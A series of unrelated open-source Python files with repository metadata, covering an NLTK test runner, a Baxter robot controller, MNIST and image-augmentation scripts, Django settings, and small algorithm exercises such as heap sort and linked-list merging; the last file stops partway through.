"""Test suite that runs all NLTK tests. This module, `nltk.test.all`, is named as the NLTK ``test_suite`` in the project's ``setup-eggs.py`` file. Here, we create a test suite that runs all of our doctests, and return it for processing by the setuptools test harness. """ import doctest import os.path import unittest from glob import glob def additional_tests(): # print("here-000000000000000") # print("-----", glob(os.path.join(os.path.dirname(__file__), '*.doctest'))) dir = os.path.dirname(__file__) paths = glob(os.path.join(dir, "*.doctest")) files = [os.path.basename(path) for path in paths] return unittest.TestSuite([doctest.DocFileSuite(file) for file in files]) # if os.path.split(path)[-1] != 'index.rst' # skips time-dependent doctest in index.rst
[ "stevenbird1@gmail.com" ]
stevenbird1@gmail.com
bc3a33e5be8e30f1128b3fc83e43032fea16a7ac
abe211d11c1d96cea2026020afbdee954af41a44
/Baxter_ARCHR/controller_old/controllerArmLeft.py
9a8e622de131f91d170c49560b9ade559aa46fb2
[]
no_license
LofaroLabs/Simulation
7867e1f907df42f0550ea662093fa4c2958a3011
500ada879151f72fdb49a07dffe7cbbed8ca02ca
refs/heads/master
2021-01-10T20:01:19.945690
2014-11-05T05:17:57
2014-11-05T05:17:57
18,780,200
1
2
null
null
null
null
UTF-8
Python
false
false
6,574
py
#!/usr/bin/env python # Copyright (c) 2013-2014, Rethink Robotics # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # 3. Neither the name of the Rethink Robotics nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """ Baxter RSDK Joint Trajectory Action Client Example """ import argparse import sys from copy import copy import rospy import actionlib from control_msgs.msg import ( FollowJointTrajectoryAction, FollowJointTrajectoryGoal, ) from trajectory_msgs.msg import ( JointTrajectoryPoint, ) import baxter_interface from baxter_interface import CHECK_VERSION # Hubo-ach stuff import hubo_ach as ha import ach from ctypes import * import time # feed-forward will now be refered to as "state" state = ha.HUBO_STATE() # feed-back will now be refered to as "ref" ref = ha.HUBO_REF() # Get the current feed-forward (state) r = ach.Channel(ha.HUBO_CHAN_REF_NAME) [statuss, framesizes] = r.get(ref, wait=False, last=True) class Trajectory(object): def __init__(self, limb): ns = 'robot/limb/' + limb + '/' self._client = actionlib.SimpleActionClient( ns + "follow_joint_trajectory", FollowJointTrajectoryAction, ) self._goal = FollowJointTrajectoryGoal() server_up = self._client.wait_for_server(timeout=rospy.Duration(10.0)) if not server_up: rospy.logerr("Timed out waiting for Joint Trajectory" " Action Server to connect. Start the action server" " before running example.") rospy.signal_shutdown("Timed out waiting for Action Server") sys.exit(1) self.clear(limb) def add_point(self, positions, time): point = JointTrajectoryPoint() point.positions = copy(positions) point.time_from_start = rospy.Duration(time) self._goal.trajectory.points.append(point) def start(self): self._goal.trajectory.header.stamp = rospy.Time.now() self._client.send_goal(self._goal) def stop(self): self._client.cancel_goal() def wait(self, timeout=15.0): self._client.wait_for_result(timeout=rospy.Duration(timeout)) def result(self): return self._client.get_result() def clear(self, limb): self._goal = FollowJointTrajectoryGoal() self._goal.trajectory.joint_names = [limb + '_' + joint for joint in \ ['s0', 's1', 'e0', 'e1', 'w0', 'w1', 'w2']] def main(): """RSDK Joint Trajectory Example: Simple Action Client Creates a client of the Joint Trajectory Action Server to send commands of standard action type, control_msgs/FollowJointTrajectoryAction. Make sure to start the joint_trajectory_action_server.py first. Then run this example on a specified limb to command a short series of trajectory points for the arm to follow. """ s0 = -0.11; s1= -0.62; e0 = -1.15; e1 = 1.32; w0 = 0.80; w1 = 1.27; w2 = 2.39; arg_fmt = argparse.RawDescriptionHelpFormatter parser = argparse.ArgumentParser(formatter_class=arg_fmt, description=main.__doc__) required = parser.add_argument_group('required arguments') required.add_argument( '-l', '--limb', required=True, choices=['left', 'right'], help='send joint trajectory to which limb' ) args = parser.parse_args(rospy.myargv()[1:]) limb = args.limb print("Initializing node... ") rospy.init_node("rsdk_joint_trajectory_client_%s" % (limb,)) print("Getting robot state... ") rs = baxter_interface.RobotEnable(CHECK_VERSION) print("Enabling robot... ") rs.enable() print("Running. Ctrl-c to quit") positions = { #'left': [-0.11, -0.62, -1.15, 1.32, 0.80, 1.27, 2.39], #'right': [0.11, -0.62, 1.15, 1.32, -0.80, 1.27, -2.39], 'left': [s0, s1, e0, e1, w0, w1, w2], 'right': [-s0, s1, -e0, e1, -w0, w1, -w2], } traj = Trajectory(limb) rospy.on_shutdown(traj.stop) p1 = positions[limb] traj.add_point(p1, 1.0) traj.add_point([s0, s1, e0, e1, w0, w1, w2], 1.0) traj.start() traj.wait(1.0) traj.clear(limb) timeout = time.time() + 60 * 5 #Time to exit while True: s0 = ref.ref[ha.RSY]; s1 = -ref.ref[ha.RSP]; e0 = ref.ref[ha.RSR]; e1 = -ref.ref[ha.REB]; w0 = ref.ref[ha.RHY]; w1 = -ref.ref[ha.RHP]; w2 = ref.ref[ha.RWR]; print "Time Remaining: %f. \nCurrent trajectory: s0 = %f, s1 = %f, e0 = %f, e1 = %f, w0 = %f, w1 = %f, w2 = %f" %((timeout -time.time()), ref.ref[ha.RSY], ref.ref[ha.RSP], ref.ref[ha.RSR], ref.ref[ha.REB], ref.ref[ha.RHY], ref.ref[ha.RHP], ref.ref[ha.RWR]) traj.add_point([s0, s1, e0, e1, w0, w1, w2], 0.01) #'0.01' executes trajectory in 0.01 seconds traj.start() traj.wait(1.0) traj.clear(limb) if time.time() > timeout: print "Time out. Quiting." break r.get(ref) #time.sleep(0.02) #not necessary because of 0.01 above print("Exiting - Joint Trajectory Action Test Complete") if __name__ == "__main__": main()
[ "mannanjavid@gmail.com" ]
mannanjavid@gmail.com
6c802f18b2741d38462121db044a2ab94b325658
32cc5fe0dd9376f9f7211f6defe3100cfdc10b3c
/Offer-sward-Linkedlist-Folder/Offer-Sward-merge-two-Linked-list.py
6004233377e2522bbd11ce567e7d1915ea477de0
[]
no_license
RegCookies/Offer-Sward
601bb16d107027599de1376db76435875d6525e7
82cff33aee421a2e4288e8d21ea3a54a8834a8ec
refs/heads/master
2020-03-31T00:35:20.246454
2018-12-10T13:59:29
2018-12-10T13:59:29
151,746,368
0
0
null
null
null
null
UTF-8
Python
false
false
1,425
py
class LNode: def __init__(self,val): self.val = val self.next = None def constructL(i): head =LNode(None) head.next = None cur = head tmp = None while i<11: tmp = LNode(i) tmp.next = None cur.next = tmp cur = tmp i += 2 return head def printL(head): cur = head.next while cur != None: print(cur.val,end = " ") cur = cur.next def mergeL(head1,head2): if head1 is None or head1.next is None: return head2 if head2 is None or head2.next is None: return head1 cur1 = head1.next cur2 = head2.next head = None cur = None # 确定合并后的头节点 if cur1.val > cur2.val: head = head2 cur = cur2 cur2 = cur2.next else: head = head1 cur = cur1 cur1 = cur1.next while cur1 != None and cur2 != None: if cur1.val < cur2.val: cur.next = cur1 cur = cur1 cur1 = cur1.next else: cur.next = cur2 cur = cur2 cur2 = cur2.next if cur1 != None: cur.next = cur1 if cur2 != None: cur.next = cur2 return head if __name__ == "__main__": head1 = constructL(1) head2 = constructL(2) printL(head1) printL(head2) head = mergeL(head1,head2) printL(head)
[ "noreply@github.com" ]
RegCookies.noreply@github.com
add941b5d5b782b4f9732ed2c4a4937ba81962dc
1c4faa925867660456bfc1b7ae1b259b2f90583c
/sdk/test_faces.py
602ba4afe8283de6b2e5ffcb39247054e6a88bf9
[ "MIT" ]
permissive
amirunpri2018/i-Cloud
8b14770465974d6cea1cd174cc5a6382ab355a4e
e858cea4c289a2440423a75e51f77ed638797673
refs/heads/master
2020-05-17T04:55:08.759031
2019-04-22T10:22:08
2019-04-22T10:22:08
null
0
0
null
null
null
null
UTF-8
Python
false
false
288
py
import requests if __name__ == '__main__': url = 'http://47.101.196.204:8080/api/v1/faces/verify' files = {'file1': open('sample_verify_1.jpg', 'rb'), 'file2': open('sample_verify_2.jpg', 'rb')} r = requests.post(url, files=files) print(r.status_code) print(r.text)
[ "liuyang12@focusmedia.cn" ]
liuyang12@focusmedia.cn
3071687eb241c76fb55036550a099691ea5b45aa
a8660bb580222df5f65a472b7df37896c17ca39a
/mnist_tutorial.py
f8c1b280efeab9ac8eebe739d87bf82ed26a4a06
[]
no_license
shaunirwin/machine_learning_code
922147dfadc1059b2f6af2ff72d09c2452414acb
d9a56792b03404c8bf0a8511e44bcdad936a5e08
refs/heads/master
2021-01-20T20:08:16.533690
2016-10-24T18:07:23
2016-10-24T18:07:23
63,533,805
0
0
null
null
null
null
UTF-8
Python
false
false
4,298
py
import tensorflow as tf from tensorflow.examples.tutorials.mnist import input_data # input data mnist = input_data.read_data_sets('datasets/MNIST_data/', one_hot=True) x = tf.placeholder(tf.float32, [None, 784], name='x') if False: # simple logistic regression model with tf.name_scope('model') as scope: W = tf.Variable(tf.zeros([784, 10]), name='weights') b = tf.Variable(tf.zeros([10]), name='biases') y = tf.nn.softmax(tf.matmul(x, W) + b, name='y') # training y_ = tf.placeholder(tf.float32, [None, 10], name='y_') cross_entropy = tf.reduce_mean(-tf.reduce_sum(y_ * tf.log(y), reduction_indices=[1])) train_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy) init = tf.initialize_all_variables() with tf.Session() as sess: summary_writer = tf.train.SummaryWriter('tensorboards/mnist_experiments/run_1', sess.graph) sess.run(init) print 'training...' for i in range(1000): batch_xs, batch_ys = mnist.train.next_batch(100) sess.run(train_step, feed_dict={x: batch_xs, y_: batch_ys}) if i % 10 == 0: print i, 'training steps completed' print 'finished training' # evaluation correct_prediction = tf.equal(tf.argmax(y, 1), tf.argmax(y_, 1)) accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32)) print(sess.run(accuracy, feed_dict={x: mnist.test.images, y_: mnist.test.labels})) else: # convolutional neural network model def weight_variable(shape): initial = tf.truncated_normal(shape, stddev=0.1) return tf.Variable(initial) def bias_variable(shape): initial = tf.constant(0.1, shape=shape) return tf.Variable(initial) def conv2d(x, W): return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME') def max_pool_2x2(x): return tf.nn.max_pool(x, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME') with tf.name_scope('conv_model') as scope: # 1st convolutional layer W_conv1 = weight_variable([5, 5, 1, 32]) b_conv1 = bias_variable([32]) x_image = tf.reshape(x, [-1, 28, 28, 1]) h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1) h_pool1 = max_pool_2x2(h_conv1) # 2nd convolutional layer W_conv2 = weight_variable([5, 5, 32, 64]) b_conv2 = bias_variable([64]) h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2) h_pool2 = max_pool_2x2(h_conv2) # densely connected layer W_fc1 = weight_variable([7 * 7 * 64, 1024]) b_fc1 = bias_variable([1024]) h_pool2_flat = tf.reshape(h_pool2, [-1, 7 * 7 * 64]) h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1) # dropout keep_prob = tf.placeholder(tf.float32) h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob) # readout layer W_fc2 = weight_variable([1024, 10]) b_fc2 = bias_variable([10]) y_conv = tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2) # train y_ = tf.placeholder(tf.float32, [None, 10], name='y_') sess = tf.InteractiveSession() summary_writer = tf.train.SummaryWriter('tensorboards/mnist_experiments/run_2', sess.graph) cross_entropy = tf.reduce_mean(-tf.reduce_sum(y_ * tf.log(y_conv), reduction_indices=[1])) train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy) correct_prediction = tf.equal(tf.argmax(y_conv, 1), tf.argmax(y_, 1)) accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32)) sess.run(tf.initialize_all_variables()) for i in range(1000): # was 20000 batch = mnist.train.next_batch(50) if i % 100 == 0: train_accuracy = accuracy.eval(feed_dict={ x: batch[0], y_: batch[1], keep_prob: 1.0}) print("step %d, training accuracy %g" % (i, train_accuracy)) train_step.run(feed_dict={x: batch[0], y_: batch[1], keep_prob: 0.5}) # evaluate for i in range(5): batch = mnist.test.next_batch(50) print("%d: test accuracy %g" % (i, accuracy.eval(feed_dict={ x: batch[0], y_: batch[1], keep_prob: 1.0})))
[ "shaun.irwin@gmail.com" ]
shaun.irwin@gmail.com
d8d6b468ee957ceda7809c5c439cfe9f6d35f629
db973d8610b2d6cbbc0e92f777148ba1de7663df
/main.py
f95f3799f072a03ec39dfda2a8249213f12f9185
[]
no_license
G-Gautam/Angles
a15dfeeda61331b9facd9800c897bfd78850355e
f12c0901bb0664cff89e07743b3c048d304ce9de
refs/heads/master
2020-04-18T03:25:47.338336
2019-01-25T16:48:54
2019-01-25T16:48:54
167,198,300
0
0
null
null
null
null
UTF-8
Python
false
false
1,722
py
# import the necessary packages from ShapeDetector import ShapeDetector import argparse import imutils import cv2 import pytesseract from PIL import Image import matplotlib # construct the argument parse and parse the arguments ap = argparse.ArgumentParser() ap.add_argument("-i", "--image", required=True, help="path to the input image") args = vars(ap.parse_args()) # load the image and resize it to a smaller factor so that # the shapes can be approximated better image = cv2.imread(args["image"]) resized = imutils.resize(image, width=300) ratio = image.shape[0] / float(resized.shape[0]) # convert the resized image to grayscale, blur it slightly, # and threshold it gray = cv2.cvtColor(resized, cv2.COLOR_BGR2GRAY) gray1 = cv2.bitwise_not(gray) blurred = cv2.bilateralFilter(gray1, 9,75,75) thresh = cv2.threshold(blurred, 60, 255, cv2.THRESH_BINARY)[1] cnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) cnts = imutils.grab_contours(cnts) sd = ShapeDetector() for c in cnts: # compute the center of the contour, then detect the name of the # shape using only the contour M = cv2.moments(c) cX = int((M["m10"] / M["m00"]) * ratio) cY = int((M["m01"] / M["m00"]) * ratio) shape = sd.detect(c) # multiply the contour (x, y)-coordinates by the resize ratio, # then draw the contours and the name of the shape on the image c = c.astype("float") c *= ratio c = c.astype("int") cv2.drawContours(image, [c], -1, (0, 255, 0), 2) cv2.putText(image, shape, (cX, cY), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 0, 0), 2) # show the output image cv2.imshow("Image", image) cv2.waitKey(0) break;
[ "35315739+ggupta24@users.noreply.github.com" ]
35315739+ggupta24@users.noreply.github.com
0f8c4a834c14dddf15c88d1eda9ddbb962cb7a88
e7651284babcd03a7468b08ec7043613edfd73e4
/pysha2/__init__.py
df5a8f59ee66009461cfaec222e08e254994fe75
[ "MIT" ]
permissive
elm200/pysha2
8b6b499fb5b2640d2e2f7903de97608b25116171
e71b3b711f4b2133535f72294308da2b1992e2df
refs/heads/master
2021-04-15T10:07:34.675764
2018-03-24T14:58:50
2018-03-24T20:21:33
126,606,043
0
0
MIT
2018-03-24T14:15:27
2018-03-24T14:15:27
null
UTF-8
Python
false
false
60
py
__author__ = 'Thomas Dixon, Eiji Sakai' __license__ = 'MIT'
[ "eijisakai@gmail.com" ]
eijisakai@gmail.com
c38746410108d38becc08f37c4ab4d757fd10b80
fa44be658b41eb51a5eeadd62aa8cd879c40c2f5
/tourist_spots/settings.py
5580d6aae4b1c1f0438c98de033fa1bb00a90c45
[]
no_license
Yuri-Ribeiro/tourist-spots
ad539c667fe4ad7e0b2434ac5b3c88e7cdf8402d
0ea3c422123cbb7689aa0ab071818a978250855f
refs/heads/main
2023-01-14T09:18:04.769624
2020-11-23T00:01:21
2020-11-23T00:01:21
301,055,520
0
0
null
null
null
null
UTF-8
Python
false
false
3,759
py
""" Django settings for tourist_spots project. Generated by 'django-admin startproject' using Django 3.1.1. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ import os from pathlib import Path from decouple import config # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = config('SECRET_KEY') # SECURITY WARNING: don't run with debug turned on in production! DEBUG = config('DEBUG', default=False, cast=bool) ALLOWED_HOSTS = ['tourist-spots.herokuapp.com', 'localhost', '127.0.0.1'] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'rest_framework.authtoken', 'django_filters', 'tourist_spots_core', 'attractions', 'reviews', 'comments', 'addresses' ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'tourist_spots.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'tourist_spots.wsgi.application' # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases from dj_database_url import parse as dburl default_dburl = 'sqlite:///' + os.path.join(BASE_DIR, 'db.sqlite3') DATABASES = { 'default': config('DATABASE_URL', default=default_dburl, cast=dburl), } # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = '/static/' MEDIA_ROOT = 'photos' MEDIA_URL = '/media/' # REST_FRAMEWORK = { # 'DEFAULT_FILTER_BACKENDS': ['django_filters.rest_framework.DjangoFilterBackend'] # } STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles') REST_FRAMEWORK = { 'DEFAULT_PERMISSION_CLASSES': [ 'rest_framework.permissions.IsAuthenticatedOrReadOnly', ] }
[ "barrosribeiroyuri@gmail.com" ]
barrosribeiroyuri@gmail.com
d4c8ed51a61196f1a9c32b68c31c5086711692fc
17f527d6936397270183a35d7097e0a99de16cb5
/algorighms_&_datastructure/アルゴリズム/heap_sort.py
e1601e13886ba416019e25dc33935b4fe21b1059
[]
no_license
ryosuke071111/algorithms
e942f043d08c7c7e2c926ed332ee2b8c44bdf0c5
867764450cc0f2a709fa2f743d9a0d95001e9296
refs/heads/master
2020-05-14T17:14:39.314064
2019-04-17T12:58:12
2019-04-17T12:58:12
181,888,623
11
0
null
null
null
null
UTF-8
Python
false
false
2,176
py
def heapsort(list): list_size = len(list) -1 for i in range((list_size//2), -1, -1): #(二分木なので親ノードのインデックスは(n - 1) / 2 となる、木の最後、遡る)#後半以降の配列の中身を操作する sift_down(list, i , list_size) #iの初期値は6 for i in range(list_size, 0, -1): #ヒープソート実行。値を昇順にする(最下部から上に遡るイメージで。) #最大値を一番後ろに移動させる if list[0]>list[i]: tmp = list[0] list[0]=list[i] list[i] = tmp #ルートのが最下部よりでかかったらルートと最下部を交換する print(list) sift_down(list, 0, i-1) return list def sift_down(list, root, bottom): #最大値をルートに持ってくる left = root * 2 + 1 right= root * 2 + 2 if left <= bottom and list[left] > list[root]: #左より最下部のがでかい、かつ、左のがルートよりでかい max_child = left #マックスチャイルドは左→入れ替える必要あり else: max_child = root #そうじゃなかったらマックスチャイルドはルート if right <= bottom and list[right] > list[max_child]: #右より最下部のがでかい、かつ、右のがマックスチャイルドよりでかい場合は右をマックスチャイルドに(ルートと右子を比較してる) max_child = right if max_child != root: #マックスチャイルドがルートじゃなかったら(左とか右だったら) list[root], list[max_child] = list[max_child], list[root] #マックスチャイルドがルートじゃなかったら(左とか右だったら)ルートを変更 sift_down(list, max_child, bottom) #変更かける if __name__ == '__main__': l = [4, 100, 1, 5, 400,53, 54, 53432,5678, 13, 65, 6, 0, 32] print('Unsorted') print (l) print ('Sorted') a = heapsort(l) print(a)
[ "ryosuke0711993@gmail.com" ]
ryosuke0711993@gmail.com
ecdc29159fa81613aee45c84ac30eaa26f66e216
0a74126a2ebffed4e55acd0e89c0298ca7194f13
/Saller/migrations/0003_loginuser_user_type.py
f50024d0be43e8976e12ad814cc491e0d42f1fc4
[]
no_license
zy19980208/Qshop-
a6585b38f445b4b69e408db93752cb0e2149957e
114267b0e256aa177ad3894998f823af195461d3
refs/heads/master
2020-09-15T20:04:16.618890
2019-11-23T07:08:15
2019-11-23T07:08:15
223,546,966
0
0
null
null
null
null
UTF-8
Python
false
false
379
py
# Generated by Django 2.2.1 on 2019-09-24 02:57 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('Saller', '0002_loginuser'), ] operations = [ migrations.AddField( model_name='loginuser', name='user_type', field=models.IntegerField(default=1), ), ]
[ "920029562@qq.com" ]
920029562@qq.com
e207656b9b91266ed5dd351474ed175011aad135
100ce586154da9ce95400846457a71f97f094e61
/utils/generate_example_images_voc_xml.py
a653678d4a5c49e0c7cb8dd287a9e81148a3147b
[ "Apache-2.0" ]
permissive
dedoogong/asrada
c15c1a8110d221d0b3d574cf0d0b74f8ae4f182d
55fbc6acae562d534ee0dcbc6b2931d77abe5203
refs/heads/master
2020-12-25T18:42:33.264415
2019-10-14T00:17:38
2019-10-14T00:17:38
93,975,225
2
1
null
null
null
null
UTF-8
Python
false
false
13,289
py
from __future__ import print_function, division import xml.etree.ElementTree as ET import pickle import imgaug as ia from imgaug import augmenters as iaa from imgaug import parameters as iap import numpy as np from scipy import ndimage, misc from skimage import data import matplotlib.pyplot as plt from matplotlib import gridspec import six import six.moves as sm import re import os from os import listdir, getcwd from os.path import join import cv2 import glob from collections import defaultdict import PIL.Image import itertools try: from cStringIO import StringIO as BytesIO except ImportError: from io import BytesIO np.random.seed(44) ia.seed(44) IMAGES_DIR = "myhand" #"myhand" def main(): list = glob.glob('/home/lee/Documents/carDB/2/*.jpg') for i in range(len(list)): #draw_single_sequential_images(list[i],i) draw_per_augmenter_images(list[i],i) def draw_single_sequential_images(img_path,idx): ia.seed(44) image = ndimage.imread(img_path) #image = ia.quokka_square(size=(128, 128)) sometimes = lambda aug: iaa.Sometimes(0.5, aug) seq = iaa.Sequential( [ # apply the following augmenters to most images iaa.Fliplr(0.5), # horizontally flip 50% of all images # crop images by -5% to 10% of their height/width sometimes(iaa.Affine( scale={"x": (0.125, 0.75), "y": (0.125, 0.75)}, # scale images to 80-120% of their size, individually per axis translate_percent={"x": (-0.25, 0.25), "y": (-0.25, 0.25)}, # translate by -20 to +20 percent (per axis) rotate=(-30, 30), # rotate by -45 to +45 degrees shear=(-25, 25), # shear by -16 to +16 degrees order=[0, 1], # use nearest neighbour or bilinear interpolation (fast) # use any of scikit-image's warping modes (see 2nd image from the top for examples) )), # execute 0 to 5 of the following (less important) augmenters per image # don't execute all of them, as that would often be way too strong iaa.SomeOf((0, 5), [ iaa.OneOf([ iaa.GaussianBlur((1, 2.0)), # blur images with a sigma between 0 and 3.0 ]), iaa.Sharpen(alpha=(1.0, 1.0), lightness=(0.75, 1.5)), # sharpen images iaa.AdditiveGaussianNoise(loc=0, scale=(0.05, 0.1*255), per_channel=0.5), # add gaussian noise to images iaa.Add((-10, 10), per_channel=0.5), # change brightness of images (by -10 to 10 of original value) iaa.AddToHueAndSaturation((-20, 20)), # change hue and saturation # either change the brightness of the whole image (sometimes # per channel) or change the brightness of subareas iaa.OneOf([ iaa.Multiply((0.5, 1.5), per_channel=0.5), ]), iaa.ContrastNormalization((0.5, 2.0), per_channel=0.5), # improve or worsen the contrast sometimes(iaa.PiecewiseAffine(scale=(0.01, 0.05))), # sometimes move parts of the image around sometimes(iaa.PerspectiveTransform(scale=(0.05, 0.1))) ], random_order=True ) ], random_order=True ) #grid = seq.draw_grid(image, cols=8, rows=8) #misc.imsave("examples_grid.jpg", grid) images = [image] * 10 #TODO : convert xml to txt and read it in yolo format and replace the x, y coordinates with them. keypoints = [ia.Keypoint(x=34, y=15), ia.Keypoint(x=85, y=13), ia.Keypoint(x=63, y=73)] # left ear, right ear, mouth keypointsList=[keypoints] * 10 aug_det = seq.to_deterministic() images_aug = aug_det.augment_images(images) row_keypoints = [] image_keypoints = [] for idx in range(len(keypointsList)): onImageKeypoints = [ia.KeypointsOnImage(keypointsList[idx], shape = image.shape)] keypoints_aug = aug_det.augment_keypoints(onImageKeypoints) row_keypoints.append(keypoints_aug[0]) for image, keypoints in zip(images_aug, row_keypoints): image_keypoints.append(keypoints.draw_on_image(image, size=5)) for i, image_aug in enumerate(image_keypoints): misc.imsave("image_%05d_%06d.jpg" % (idx,i), image_aug) def draw_per_augmenter_images(img_path,idx): print("[draw_per_augmenter_images] Loading image...") #res=ndimage.imread(img_path) #image = np.reshape(res,[1,res.shape[0],res.shape[1],3]) image = ndimage.imread(img_path) image2=image print(img_path) xmlPath = img_path.replace('.jpg','.xml') tree = ET.parse(xmlPath) root = tree.getroot() size = root.find('size') filename=root.find('filename').text img_w = int(size.find('width').text) img_h = int(size.find('height').text) objects = root.findall('object') keypoints = [] onImageKeypoints = [] for i in range(len(objects)): bndboxObj = objects[i].find('bndbox') xmin=int(bndboxObj.find('xmin').text) ymin=int(bndboxObj.find('ymin').text) xmax=int(bndboxObj.find('xmax').text) ymax=int(bndboxObj.find('ymax').text) keypoints.append([ia.Keypoint(x=xmin,y=ymin), ia.Keypoint(x=xmin,y=ymax), ia.Keypoint(x=xmax,y=ymin), ia.Keypoint(x=xmax,y=ymax)]) keypoints = list(itertools.chain.from_iterable(keypoints)) onImageKeypoints.append(ia.KeypointsOnImage(keypoints, shape=image.shape)) print("[draw_per_augmenter_images] Initializing...") sometimes = lambda aug: iaa.Sometimes(0.5, aug) seq = iaa.Sequential([ # apply the following augmenters to most images iaa.Fliplr(0.5), # horizontally flip 50% of all images # crop images by -5% to 10% of their height/width sometimes(iaa.CropAndPad( percent=(0.1, 0.2), pad_mode=ia.ALL, pad_cval=(0, 255) )), sometimes(iaa.Affine( scale={"x": (0.5, 1.0), "y": (0.5, 1.0)}, # scale images to 80-120% of their size, individually per axis translate_percent={"x": (-0.2, 0.2), "y": (-0.2, 0.2)}, # translate by -20 to +20 percent (per axis) rotate=(-15, 15), # rotate by -45 to +45 degrees order=[0], # use nearest neighbour or bilinear interpolation (fast) cval=(0, 255), # if mode is constant, use a cval between 0 and 255 mode='edge' # use any of scikit-image's warping modes (see 2nd image from the top for examples) )), # execute 0 to 5 of the following (less important) augmenters per image # don't execute all of them, as that would often be way too strong iaa.SomeOf((0, 5), [ iaa.OneOf([ iaa.GaussianBlur((0, 3.0)), # blur images with a sigma between 0 and 3.0 iaa.AverageBlur(k=(2, 7)), # blur image using local means with kernel sizes between 2 and 7 iaa.MedianBlur(k=(3, 11)), # blur image using local medians with kernel sizes between 2 and 7 ]), iaa.Sharpen(alpha=(1.0), lightness=(0.75, 1.5)), # sharpen images iaa.Emboss(alpha=(1.0), strength=(0.5, 1.0)), # emboss images iaa.AdditiveGaussianNoise(loc=0, scale=(0.0, 0.05 * 255), per_channel=0.5), # add gaussian noise to images iaa.OneOf([ iaa.Dropout((0.03, 0.1), per_channel=0.5), # randomly remove up to 10% of the pixels iaa.CoarseDropout((0.03, 0.15), size_percent=(0.2, 0.3), per_channel=0.2), ]), iaa.Add((-10, 10), per_channel=0.5), # change brightness of images (by -10 to 10 of original value) iaa.AddToHueAndSaturation((-20, 20)), # change hue and saturation # either change the brightness of the whole image (sometimes # per channel) or change the brightness of subareas iaa.OneOf([ iaa.Multiply((0.5, 1.5), per_channel=0.5), iaa.FrequencyNoiseAlpha( exponent=(-4, 0), first=iaa.Multiply((0.5, 1.5), per_channel=True), second=iaa.ContrastNormalization((0.5, 2.0)) ) ]), iaa.ContrastNormalization((0.5, 2.0), per_channel=0.5), # improve or worsen the contrast # move pixels locally around (with random strengths) sometimes(iaa.PiecewiseAffine(scale=(0.01, 0.04))), # sometimes move parts 